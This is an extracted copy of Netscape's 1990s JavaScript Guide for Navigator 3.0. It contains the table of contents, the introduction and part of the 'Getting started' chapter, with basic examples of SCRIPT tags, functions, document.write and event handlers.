Vous êtes sur la page 1sur 547

JavaScript Guide

JavaScript Guide contents Introduction What's new in Navigator 3.0 What you should already know How to use this book Document conventions

Introduction

Part 1. Using JavaScript in Navigator 1. Getting started What is JavaScript? Embedding JavaScript in HTML Defining and calling functions Using the write method Scripting event handlers Validating form input 2. Using Navigator objects Navigator object hierarchy document properties: an example JavaScript reflection and HTML layout Key Navigator objects Navigator's object arrays 3. Using windows and frames Opening and closing windows Using frames Referring to windows and frames Navigating among windows and frames 4. LiveConnect Enabling LiveConnect The Java Console About the Netscape packages JavaScript to Java communication Java to JavaScript

avaScript is a compact, object-based scripting language for developing client and server Internet applications. Netscape Navigator interprets JavaScript statements embedded in an HTML page, and LiveWire enables you to create server-based applications similar to Common Gateway Interface (CGI) programs. This book describes the JavaScript language and its use in Navigator. For information on developing server-based JavaScript applications, see the LiveWire Developer's Guide.

What's new in Navigator 3.0


JavaScript for Navigator 3.0 has a rich set of new features. Appendix F, "Features added after version 1," lists the new objects, properties, arrays, methods, functions, event handlers, operators, and other features.

What you should already know


This book assumes you have some basic background, including
q

A general understanding of the Internet and the World Wide Web (WWW). Good working knowledge of HyperText Markup Language (HTML).

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/INDEX~1.HTM (1 of 9) [30/08/2003 9:33:57 PM]

JavaScript Guide

communication 5. Advanced topics Using JavaScript URLs Using client-side image maps Using server-side image maps Using the status bar Using cookies Using data tainting for security Determining installed plug-ins

Some programming experience with a language such as C or Visual Basic is useful, but not required.

How to use this book


This book is divided into three parts:
q

Part 2. The JavaScript Language 6. Values, variables, and literals Values Variables Literals 7. Expressions and operators Expressions Operators 8. Object model Objects and properties Functions Creating new objects 9. Built-in objects and functions Built-in objects Built-in functions 10. Overview of JavaScript statements Conditional statement Loop statements Object manipulation statements and operators Comments

Part 1, "Using JavaScript in Navigator," introduces JavaScript and describes its use in Navigator. It covers the main features of client JavaScript and touches on some advanced topics. Part 2, "The JavaScript languag," describes the syntax and semantics of the JavaScript language itself and is applicable to both client-side and server-side JavaScript. It also describes JavaScript's built-in String, Math, and Date objects, built-in functions, and statement syntax. Part 3, "Reference," is a comprehensive, alphabetical reference for Navigator JavaScript. It includes a chapter on JavaScript statements and one for all objects, properties, and methods in Navigator JavaScript.

If you are new to JavaScript, start with Chapter 1, "Getting started" to start scripting your own pages immediately. Then continue with the chapters in Part 1, to learn more about JavaScript in Navigator. You may find it useful to skim the material in Part 2, particularly Chapter 8, "Object model." Use the reference material in Part 3 as necessary for details on specific topics. If you are already familiar with JavaScript in Navigator, skim the material in Part 1, paying particular attention to the chapters that discuss more advanced topics: Chapter 3, "Using windows and frames" and Chapter 5, "Advanced topics." You can then use the reference material as needed. If you are a LiveWire application developer, use the material in Part 1 to familiarize yourself with the basics of JavaScript. Then read Part 2 for a more in-depth look at the JavaScript language. All the material in Part 2 is applicable to LiveWire JavaScript. You need to read only material on client JavaScript if you want to incorporate only client functionality into your applications.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/INDEX~1.HTM (2 of 9) [30/08/2003 9:33:57 PM]

JavaScript Guide

Part 3. Reference 11. Statements break comment continue for for...in function if...else new return this var while with 12. The Netscape packages netscape.javascript.JSObject netscape.javascript.JSException netscape.plugin.Plugin 13. Navigator JavaScript reference abs acos action alert alinkColor anchor method Anchor object anchors appCodeName Applet applets appName appVersion Area arguments array arguments property Array asin atan atan2

Document conventions
Netscape Navigator runs on many different operating systems; the information here applies to all versions. File and directory paths are given in Windows format (with backslashes separating directory names). For Unix versions, the directory paths are the same, except slashes instead of backslashes separate directories. Figures that show screens were created using Windows NT. Screens on your platform may look different. This book uses Uniform Resource Locators (URLs) of the form http://server.domain/path/file.html In these URLs, server represents the name of the server on which you are running LiveWire, such as "research1" or "www," and domain represents your Internet domain name, such as "netscape.com" or "uiuc.edu." If you have configured your proxy, you might not need to specify your domain name when the client itself is within the domain. In general, italic items in URLs are variables, and items in normal Courier font are literals. This book uses the following typographical conventions:
q

File and directory names are shown in fixed-pitch font, for example, c:\javascript\samples\world\hello.html. JavaScript method and function names are shown in boldface without any parentheses; for example, write and alert. JavaScript object and property names are shown in italics; for example, document.title and Date object.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/INDEX~1.HTM (3 of 9) [30/08/2003 9:33:57 PM]

JavaScript Guide

back bgColor big blink blur bold Boolean border Button caller ceil charAt Checkbox checked clearTimeout click close (document object) close (window object) closed complete confirm constructor cookie cos current Date defaultChecked defaultSelected defaultStatus defaultValue description document domain E elements array elements property embeds array enabledPlugin encoding escape eval exp fgColor filename FileUpload
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/INDEX~1.HTM (4 of 9) [30/08/2003 9:33:57 PM]

JavaScript Guide

fixed floor focus fontcolor fontsize Form object form property forms forward Frame frames Function getDate getDay getHours getMinutes getMonth getSeconds getTime getTimezoneOffset getYear go hash height Hidden history array history object host hostname href hspace Image images index indexOf isNaN italics javaEnabled join lastIndexOf lastModified length link method Link object linkColor
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/INDEX~1.HTM (5 of 9) [30/08/2003 9:33:57 PM]

JavaScript Guide

links LN2 LN10 location log LOG2E LOG10E lowsrc Math max MAX_VALUE method MimeType mimeTypes min MIN_VALUE name NaN navigator NEGATIVE_INFINITY next Number onAbort onBlur onChange onClick onError onFocus onLoad onMouseOut onMouseOver onReset onSelect onSubmit onUnload open (document object) open (window object) opener Option options parent parse parseFloat parseInt Password
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/INDEX~1.HTM (6 of 9) [30/08/2003 9:33:57 PM]

JavaScript Guide

pathname PI Plugin plugins port POSITIVE_INFINITY pow previous prompt protocol prototype Radio random referrer refresh reload replace reset method Reset object reverse round scroll search select method Select object selected selectedIndex self setDate setHours setMinutes setMonth setSeconds setTime setTimeout setYear sin small sort split sqrt SQRT1_2 SQRT2 src status
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/INDEX~1.HTM (7 of 9) [30/08/2003 9:33:57 PM]

JavaScript Guide

strike String sub submit method Submit object substring suffixes sup taint taintEnabled tan target Text object text property Textarea title toGMTString toLocaleString toLowerCase top toString toUpperCase type unescape untaint URL userAgent UTC value valueOf vlinkColor vspace width window object window property write writeln A. Object summary B. Reserved words C. Color values D. Netscape cookies
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/INDEX~1.HTM (8 of 9) [30/08/2003 9:33:57 PM]

JavaScript Guide

E. LiveAudio and LiveConnect F. Features added after version 1 Index

Copyright 1995-1996 Netscape Communications Corporation Last modified undefined

Hide Left Frame

Show Index

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/INDEX~1.HTM (9 of 9) [30/08/2003 9:33:57 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/intro.htm

Introduction

avaScript is a compact, object-based scripting language for developing client and server Internet applications. Netscape Navigator interprets JavaScript statements embedded in an HTML page, and LiveWire enables you to create server-based applications similar to Common Gateway Interface (CGI) programs. This book describes the JavaScript language and its use in Navigator. For information on developing server-based JavaScript applications, see the LiveWire Developer's Guide.

What's new in Navigator 3.0


JavaScript for Navigator 3.0 has a rich set of new features. Appendix F, "Features added after version 1," lists the new objects, properties, arrays, methods, functions, event handlers, operators, and other features.

What you should already know


This book assumes you have some basic background, including
q q

A general understanding of the Internet and the World Wide Web (WWW). Good working knowledge of HyperText Markup Language (HTML).

Some programming experience with a language such as C or Visual Basic is useful, but not required.

How to use this book


This book is divided into three parts:
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/intro.htm (1 of 3) [30/08/2003 9:33:57 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/intro.htm

Part 1, "Using JavaScript in Navigator," introduces JavaScript and describes its use in Navigator. It covers the main features of client JavaScript and touches on some advanced topics. Part 2, "The JavaScript languag," describes the syntax and semantics of the JavaScript language itself and is applicable to both client-side and server-side JavaScript. It also describes JavaScript's built-in String, Math, and Date objects, built-in functions, and statement syntax. Part 3, "Reference," is a comprehensive, alphabetical reference for Navigator JavaScript. It includes a chapter on JavaScript statements and one for all objects, properties, and methods in Navigator JavaScript.

If you are new to JavaScript, start with Chapter 1, "Getting started" to start scripting your own pages immediately. Then continue with the chapters in Part 1, to learn more about JavaScript in Navigator. You may find it useful to skim the material in Part 2, particularly Chapter 8, "Object model." Use the reference material in Part 3 as necessary for details on specific topics. If you are already familiar with JavaScript in Navigator, skim the material in Part 1, paying particular attention to the chapters that discuss more advanced topics: Chapter 3, "Using windows and frames" and Chapter 5, "Advanced topics." You can then use the reference material as needed. If you are a LiveWire application developer, use the material in Part 1 to familiarize yourself with the basics of JavaScript. Then read Part 2 for a more in-depth look at the JavaScript language. All the material in Part 2 is applicable to LiveWire JavaScript. You need to read only material on client JavaScript if you want to incorporate only client functionality into your applications.

Document conventions
Netscape Navigator runs on many different operating systems; the information here applies to all versions. File and directory paths are given in Windows format (with backslashes separating directory names). For Unix versions, the directory paths are the same, except slashes instead of backslashes separate directories. Figures that show screens were created using Windows NT. Screens on your platform may look different. This book uses Uniform Resource Locators (URLs) of the form http://server.domain/path/file.html In these URLs, server represents the name of the server on which you are running LiveWire, such as
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/intro.htm (2 of 3) [30/08/2003 9:33:57 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/intro.htm

"research1" or "www," and domain represents your Internet domain name, such as "netscape.com" or "uiuc.edu." If you have configured your proxy, you might not need to specify your domain name when the client itself is within the domain. In general, italic items in URLs are variables, and items in normal Courier font are literals. This book uses the following typographical conventions:
q

File and directory names are shown in fixed-pitch font, for example, c:\javascript\samples\world\hello.html. JavaScript method and function names are shown in boldface without any parentheses; for example, write and alert. JavaScript object and property names are shown in italics; for example, document.title and Date object.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/intro.htm (3 of 3) [30/08/2003 9:33:57 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

Getting started
his chapter introduces JavaScript, discusses some of the fundamental concepts of JavaScript in Navigator and provides basic examples. It shows JavaScript code in action, so you can begin writing your own scripts immediately, using the example code as a starting point.

What is JavaScript?
JavaScript is Netscape's cross-platform, object-based scripting language for client and server applications. There are two types of JavaScript:
q q

Navigator JavaScript, also called client-side JavaScript LiveWire JavaScript, also called server-side JavaScript

JavaScript in Navigator
Netscape Navigator 2.0 (and later versions) can interpret JavaScript statements embedded in an HTML page. When Navigator requests such a page, the server sends the full content of the document, including HTML and JavaScript statements, over the network to the client. The Navigator then displays the HTML and executes the JavaScript, producing the results that the user sees. This process is illustrated in the following figure.

Client-side JavaScript statements embedded in an HTML page can respond to user events such as mouse-clicks, form input, and page navigation. For example, you can write a JavaScript function to verify that users enter valid information into a form requesting a telephone number or zip code. Without any network transmission, the HTML page with embedded JavaScript can check the entered data and alert the user with a dialog box if the input is invalid.

JavaScript in LiveWire
LiveWire is an application development environment that uses JavaScript for creating server-based applications similar to CGI (Common Gateway Interface) programs. In contrast to Navigator JavaScript, LiveWire JavaScript applications are compiled into bytecode executable files. These application executables are run in concert with a Netscape server (version 2.0 and later)

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (1 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

that contains the LiveWire server extension. The LiveWire server extension generates HTML dynamically; this HTML (which may also include client-side JavaScript statements) is then sent by the server over the network to the Navigator client, which displays the results. This process is illustrated in the following figure.

For more information on LiveWire, see the LiveWire Developer's Guide. In contrast to standard CGI programs, LiveWire JavaScript is integrated directly into HTML pages, facilitating rapid development and easy maintenance. LiveWire JavaScript contains an object framework that you can use to maintain data that persist across client requests, multiple clients, and multiple applications. LiveWire JavaScript also provides objects and methods for database access that serve as an interface to Structured Query Language (SQL) database servers.

JavaScript, the language


As described in the previous sections, client and server JavaScript differ in numerous ways, but they have the following elements in common:
q q q q

Keywords, statement syntax, and grammar Rules for expressions, variables, and literals Underlying object model (although Navigator and LiveWire have different object frameworks) Built-in objects and functions

So, if you have LiveWire, you will often be able to write functions that work on either the client or the server. Different versions of JavaScript work with specific versions of Navigator. For example, JavaScript 1.1 is for Navigator 3.0. For information, see "Specifying the JavaScript version".

JavaScript and Java


JavaScript and Java are similar in some ways but fundamentally different in others. The JavaScript language resembles Java but does not have Java's static typing and strong type checking. JavaScript supports most Java expression syntax and basic control-flow constructs. In contrast to Java's compile-time system of classes built by declarations, JavaScript supports a runtime system based on a small number of data types representing numeric, Boolean, and string values. JavaScript has a
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (2 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

simple, instance-based object model that still provides significant capabilities. JavaScript also supports functions without any special declarative requirements. Functions can be properties of objects, executing as loosely typed methods. Java is an object-oriented programming language designed for fast execution and type safety. Type safety means, for instance, that you can't cast a Java integer into an object reference or access private memory by corrupting Java bytecodes. Java's objectoriented model means that programs consist exclusively of classes and their methods. Java's class inheritance and strong typing generally require tightly coupled object hierarchies. These requirements make Java programming more complex than JavaScript authoring. In contrast, JavaScript descends in spirit from a line of smaller, dynamically typed languages like HyperTalk and dBASE. These scripting languages offer programming tools to a much wider audience because of their easier syntax, specialized builtin functionality, and minimal requirements for object creation.

JavaScript Interpreted (not compiled) by client.

Java Compiled bytecodes downloaded from server, executed on client.

Object-based. Uses built-in, extensible objects, but no classes Object-oriented. Applets consist of object classes with or inheritance. inheritance. Code integrated with, and embedded in, HTML. Variable data types not declared (loose typing). Dynamic binding. Object references checked at runtime. Cannot automatically write to hard disk. Applets distinct from HTML (accessed from HTML pages). Variable data types must be declared (strong typing). Static binding. Object references must exist at compile-time. Cannot automatically write to hard disk.

Embedding JavaScript in HTML


You can embed JavaScript in an HTML document in the following ways:
q q

As statements and functions within a <SCRIPT> tag. See the following section, "Using the SCRIPT tag". By specifying a file as the JavaScript source (rather than embedding the JavaScript in the HTML). See "Specifying a file of JavaScript code". By specifying a JavaScript expression as the value for an HTML attribute. See "Using JavaScript expressions as HTML attribute values". As event handlers within certain other HTML tags (mostly form elements). See "Scripting event handlers".

Unlike HTML, JavaScript is case sensitive.

Using the SCRIPT tag


The <SCRIPT> tag is an extension to HTML that can enclose any number of JavaScript statements as shown here: <SCRIPT> JavaScript statements... </SCRIPT>

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (3 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

A document can have multiple SCRIPT tags, and each can enclose any number of JavaScript statements.

Specifying the JavaScript version


The optional LANGUAGE attribute specifies the scripting language and JavaScript version: <SCRIPT LANGUAGE="JavaScriptVersion"> JavaScript statements... </SCRIPT> JavaScriptVersion specifies one of the following to indicate which version of JavaScript your code is written for:
q q

<SCRIPT LANGUAGE="JavaScript"> specifies JavaScript for Navigator 2.0. <SCRIPT LANGUAGE="JavaScript1.1"> specifies JavaScript for Navigator 3.0.

Statements within a <SCRIPT> tag are ignored if the user's browser does not have the level of JavaScript support specified in the LANGUAGE attribute; for example:
q

Navigator 2.0 executes code within the <SCRIPT LANGUAGE="JavaScript"> tag; it ignores code within the <SCRIPT LANGUAGE="JavaScript1.1"> tag. Navigator 3.0 executes JavaScript code within either the <SCRIPT LANGUAGE="JavaScript"> or <SCRIPT LANGUAGE="JavaScript1.1"> tags.

If the LANGUAGE attribute is omitted, Navigator 2.0 assumes LANGUAGE="JavaScript". Navigator 3.0 assumes LANGUAGE="JavaScript1.1" You can use the LANGUAGE attribute to write scripts that contain Navigator 3.0 features, and these scripts will not cause errors if run under Navigator 2.0. The following examples show some techniques for using the LANGUAGE attribute. Example 1. This example shows how to define functions twice, once for JavaScript 1.0, and once using JavaScript 1.1 features. <SCRIPT LANGUAGE="JavaScript"> // Define 1.0-compatible functions such as doClick() here </SCRIPT> <SCRIPT LANGUAGE="JavaScript1.1"> // Redefine those functions using 1.1 features // Also define 1.1-only functions </SCRIPT> <FORM ...> <INPUT TYPE="button" onClick="doClick(this)" ...> . . . </FORM> Example 2. This example shows how to use two separate versions of a JavaScript document, one for JavaScript 1.0 and one for JavaScript 1.1. The default document that loads is for JavaScript 1.0. If the user is running Navigator 3.0, the replace method replaces the page. <SCRIPT LANGUAGE="JavaScript1.1">
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (4 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

// Replace this page in session history with the 1.1 version location.replace("js1.1/mypage.html") </SCRIPT> [1.0-compatible page continues here...] Example 3. This example shows how to test the navigator.userAgent property to determine whether the user is running Navigator 3.0. The code then conditionally executes 1.1 features. <SCRIPT LANGUAGE="JavaScript"> if (navigator.userAgent.indexOf("3.0") != -1) jsVersion = "1.1" else jsVersion = "1.0" </SCRIPT> [hereafter, test jsVersion == "1.1" before use of any 1.1 extensions] Example 4. In many cases, you can test the differences between JavaScript 1.0 and 1.1 by comparing new properties (such as navigator.javaEnabled or window.focus) to null. In JavaScript 1.0 and 1.1, an undefined property compares equal to null, so the 1.1 function references will be non-null in Navigator 3.0. if (navigator.javaEnabled != null && navigator.javaEnabled()) { // must be 3.0 and Java is enabled, use LiveConnect here... } else { // 2.0, no Java connection }

Hiding scripts within comment tags


Only Netscape Navigator versions 2.0 and later recognize JavaScript. To ensure that other browsers ignore JavaScript code, place the entire script within HTML comment tags, and precede the ending comment tag with a double-slash (//) that indicates a JavaScript single-line comment: <SCRIPT> <!-- Begin to hide script contents from old browsers. JavaScript statements... // End the hiding here. --> </SCRIPT> Since browsers typically ignore unknown tags, non-JavaScript-capable browsers will ignore the beginning and ending SCRIPT tags. All the script statements in between are enclosed in an HTML comment, so they are ignored too. Navigator properly interprets the SCRIPT tags and ignores the line in the script beginning with the double-slash (//). Although you are not required to use this technique, it is considered good etiquette so that your pages don't generate unformatted script statements for those not using Navigator 2.0 or later. Note For simplicity, some of the examples in this book do not hide scripts, because the examples are written specifically for Navigator 2.0.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (5 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

Example: a first script


Here is a simple script: <HTML> <HEAD> <SCRIPT LANGUAGE="JavaScript"> <!--- Hide script from old browsers. document.write("Hello, net!") // End the hiding here. --> </SCRIPT> <P>That's all, folks. </BODY> </HTML> This script displays the following in Navigator: Hello, net! That's all, folks. Notice that there is no difference in appearance between the first line, generated with JavaScript, and the second line, generated with plain HTML. You may sometimes see a semicolon at the end of each line of JavaScript. In general, semicolons are optional and are required only if you want to put more than one statement on a single line. This is most useful in defining event handlers, which are discussed in "Scripting event handlers".

Specifying a file of JavaScript code


The SRC attribute of the <SCRIPT> tag lets you specify a file as the JavaScript source (rather than embedding the JavaScript in the HTML). For example: <HEAD> <TITLE>My Page</TITLE> <SCRIPT SRC="common.js"> ... </SCRIPT> </HEAD> <BODY> ... This attribute is especially useful for sharing functions among many different pages. The closing </SCRIPT> tag is required. JavaScript statements within a <SCRIPT> tag with a SRC attribute are ignored unless the inclusion has an error. For example, you might want to put the following statement between the <SCRIPT SRC="..."> and </SCRIPT> statements: document.write("Included JS file not found") The SRC attribute can specify any URL, relative or absolute. For example: <SCRIPT SRC="http://home.netscape.com/functions/jsfuncs.js"> External JavaScript files cannot contain any HTML tags: they must contain only JavaScript statements and function definitions. External JavaScript files should have the file name suffix .js, and the server must map the .js suffix to the MIME type
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (6 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

"application/x-javascript", which the server sends back in the HTTP header. To map the suffix to the MIME type, add the following line to the mime.types file in the server's config directory, and then restart the server. type=application/x-javascript exts=js

If the server does not map the .js filename suffix to "application/x-javascript" MIME type, Navigator will not load the JavaScript file specified by the SRC attribute properly. Note This requirement does not apply if you are using local files.

Using JavaScript expressions as HTML attribute values


Using JavaScript entities, you can specify a JavaScript expression as the value for an HTML attribute. Entity values are evaluated dynamically. This allows you to create more flexible HTML constructs, because the attributes of one HTML element can depend on information about elements placed previously on the page. You may already be familiar with HTML character entities by which you can define characters with special numerical codes or names by preceding the name with an ampersand (&) and terminating it with a semicolon (;). For example, you can include a greater-than symbol (>) with the character entity &GT; and a less-than symbol (<) with &LT;. JavaScript entities also start with an ampersand (&) and end with a semicolon (;). Instead of a name or number, you use a JavaScript expression enclosed in curly braces {}. You can use JavaScript entities only where an HTML attribute value would normally go. For example, suppose you define a variable barWidth. You could create a horizontal rule with the specified percentage width as follows: <HR WIDTH="&{barWidth};%" ALIGN="LEFT"> So, for example, if barWidth were 50, this would create the following display:

As with other HTML, after layout has occurred, the display of a page can change only if you reload the page. Unlike regular entities which can appear anywhere in the HTML text flow, JavaScript entities will be interpreted only on the right-hand side of HTML attribute name/value pairs. For example, <H4>&{myTitle};</H4> would display myTitle rather than the value of the variable myTitle.

Specifying alternate content with the NOSCRIPT tag


Use the <NOSCRIPT> tag to specify alternate content for browsers that do not support JavaScript. HTML enclosed within a <NOSCRIPT> tag is displayed by browsers that do not support JavaScript; code within the tag is ignored by Navigator. Note however, that if the user has disabled JavaScript by choosing Network Preferences from the Options menu, Navigator displays the code within the <NOSCRIPT> tag. The following example shows a <NOSCRIPT> tag.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (7 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

<NOSCRIPT> <B>This page uses JavaScript, so you need to get Netscape Navigator 2.0 or later! <BR> <A HREF="http://home.netscape.com/comprod/mirror/index.html"> <IMG SRC="NSNow.gif"></A> If you are using Navigator 2.0 or later, and you see this message, you should enable JavaScript by choosing Network Preferences from the Options menu. </NOSCRIPT> ...

Defining and calling functions


For a complete description of defining and calling functions, see "Functions". Functions are one of the fundamental building blocks in JavaScript. A function is a JavaScript procedure--a set of statements that performs a specific task. A function definition has these basic parts:
q q q q

The function keyword. A function name. A comma-separated list of arguments to the function in parentheses. The statements in the function in curly braces.

It's important to understand the difference between defining and calling a function. Defining the function simply names the function and specifies what to do when the function is called. Calling the function actually performs the specified actions with the indicated parameters. Event handlers are introduced in "Scripting event handlers". Generally, you should define the functions for a page in the HEAD portion of a document. That way, all functions are defined before any content is displayed. Otherwise, the user might perform an action while the page is still loading that triggers an event handler and calls an undefined function, leading to an error. The following example defines a simple function in the HEAD of a document and then calls it in the BODY of the document: <HEAD> <SCRIPT LANGUAGE="JavaScript"> <!-- Hide script from old browsers function square(number) { return number * number } // End script hiding from old browsers --> </SCRIPT> </HEAD> <BODY> <SCRIPT>

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (8 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

document.write("The function returned ", square(5), ".") </SCRIPT> <P> All done. </BODY> The function square takes one argument, called number. The function consists of one statement return number * number that indicates to return the argument of the function multiplied by itself. The return statement specifies the value returned by the function. In the BODY of the document, the statement square(5) calls the function with an argument of five. The function executes its statements and returns the value twenty-five. The script displays the following results: The function returned 25. All done. The square function used the line document.write(...) to display output in Navigator. This line calls the write method of the Navigator document object with JavaScript's standard object notation: objectName.methodName(arguments...) where objectName is the name of the object, methodName is the name of the method, and arguments is a list of arguments to the method, separated by commas. In addition to defining functions as described here, you can also define Function objects, as described in "Function object". A method is a function associated with an object. You'll learn more about objects and methods in Chapter 8, "Object model." But right now, we will explore write a little more, because it is particularly useful.

Using the write method


As you saw in the previous example, the write method of document displays output in the Navigator. "Big deal," you say, "HTML already does that." But in a script you can do all kinds of things you can't do with ordinary HTML. For example, you can display text conditionally or based on variable arguments. For these reasons, write is one of the most often-used JavaScript methods. The write method takes any number of string arguments that can be string literals or variables. You can also use the string

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (9 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

concatenation operator (+) to create one string from several when using write. Consider the following script, which generates dynamic HTML with Navigator JavaScript: <HEAD> <SCRIPT> <!--- Hide script from old browsers // This function displays a horizontal bar of specified width function bar(widthPct) { document.write("<HR ALIGN='left' WIDTH=" + widthPct + "%>") } // This function displays a heading of specified level and some text function output(headLevel, headText, text) { document.write("<H", headLevel, ">", headText, "</H", headLevel, "><P>", text) } // end script hiding from old browsers --> </SCRIPT> </HEAD> <BODY> <SCRIPT> <!--- hide script from old browsers bar(25) output(2, "JavaScript Rules!", "Using JavaScript is easy...") // end script hiding from old browsers --> </SCRIPT> <P> This is some standard HTML, unlike the above that is generated. </BODY> The HEAD of this document defines two functions:
q q

bar, which displays an HTML horizontal rule of a width specified by the function's argument. output, which displays an HTML heading of the level specified by the first argument, heading text specified by the second argument, and paragraph text specified by the third argument.

The document BODY then calls the two functions to produce the following display:

The following line creates the output of the bar function: document.write("<HR ALIGN='left' WIDTH=", widthPct, "%>")
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (10 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

Notice that the definition of bar uses single quotation marks inside double quotation marks. You must do this whenever you want to indicate a quoted string inside a string literal. Then the call to bar with an argument of twenty-five produces output equivalent to the following HTML: <HR ALIGN="left" WIDTH=25%> write has a companion method, writeln, which adds a newline sequence (a carriage return or a carriage return and linefeed, depending on the platform) at the end of its output. Because HTML generally ignores newlines, there is no difference between write and writeln except inside tags such as PRE, which respect carriage returns.

Printing output
Navigator 3.0 prints output created with JavaScript. To print output, the user chooses Print from the File menu. To view HTML code that was generated with JavaScript write and writeln methods, the user must specify the view-source: protocol. If the user chooses Document Source or Frame Source from the View menu, the content displayed is that of the wysiwyg: URL. The following example shows a view-source: URL: view-source:wysiwyg://0/file:/c|/temp/genhtml.html Navigator 2.0, does not print output created with JavaScript. For example, if the user chooses Print from the File menu to print the page in the previous example, you see only the line that reads "This is some standard HTML...," even though you see both lines onscreen.

Displaying output
JavaScript in Navigator generates its results from the top of the page down. Once text has been displayed, you cannot change it without reloading the page. In general, you cannot update part of a page without updating the entire page. However, you can update
q q

A "subwindow" in a frame separately. For more information, see Chapter 3, "Using windows and frames." Form elements without reloading the page; see "Example: using an event handler".

Scripting event handlers


JavaScript applications in the Navigator are largely event-driven. Events are actions that occur usually as a result of something the user does. For example, clicking a button is an event, as is changing a text field or moving the mouse over a hyperlink. You can define event handlers, such as onChange and onClick, to make your script react to events. Each event is recognized by certain objects (HTML tags), summarized in the following table:

Event

Applies to

Occurs when

Event handler

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (11 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

abort

images

User aborts the loading of an image (for onAbort example by clicking a link or clicking the Stop button) User removes input focus from window, frame, or form element onBlur onClick onChange onError onFocus onLoad onMouseout onMouse- Over onReset onSelect onSubmit onUnload

blur click change error focus load

windows, frames, and all form elements

buttons, radio buttons, checkboxes, submit buttons, User clicks form element or link reset buttons, links text fields, textareas, select lists images, windows windows, frames, and all form elements document body User changes value of element The loading of a document or image causes an error User gives input focus to window, frame, or form element User loads the page in the Navigator User moves mouse pointer out of an area (client-side image map) or link User moves mouse pointer over a link User resets a form (clicks a Reset button) User selects form element's input field User submits a form User exits the page

mouseout areas, links mouseover links reset select submit unload forms text fields, textareas submit button document body

If an event applies to an HTML tag, then you can define an event handler for it. The name of an event handler is the name of the event, preceded by "on." For example, the event handler for the focus event is onFocus. To create an event handler for an HTML tag, add an event handler attribute to the tag; Put JavaScript code in quotation marks as the attribute value. The general syntax is <TAG eventHandler="JavaScript Code"> where TAG is an HTML tag and eventHandler is the name of the event handler. For example, suppose you have created a JavaScript function called compute. You can cause Navigator to perform this function when the user clicks a button by assigning the function call to the button's onClick event handler: <INPUT TYPE="button" VALUE="Calculate" onClick="compute(this.form)"> You can put any JavaScript statements inside the quotation marks following onClick. These statements are executed when the user clicks the button. If you want to include more than one statement, separate statements with a semicolon (;). Notice in the preceding example this.form refers to the current form. The keyword this refers to the current object, which is the button. The construct this.form then refers to the form containing the button. The onClick event handler is a call to the compute function, with the current form as the argument. In general, it is good practice to define functions for your event handlers:
q q

It makes your code modular--you can use the same function as an event handler for many different items. It makes your code easier to read.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (12 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

Using quotation marks


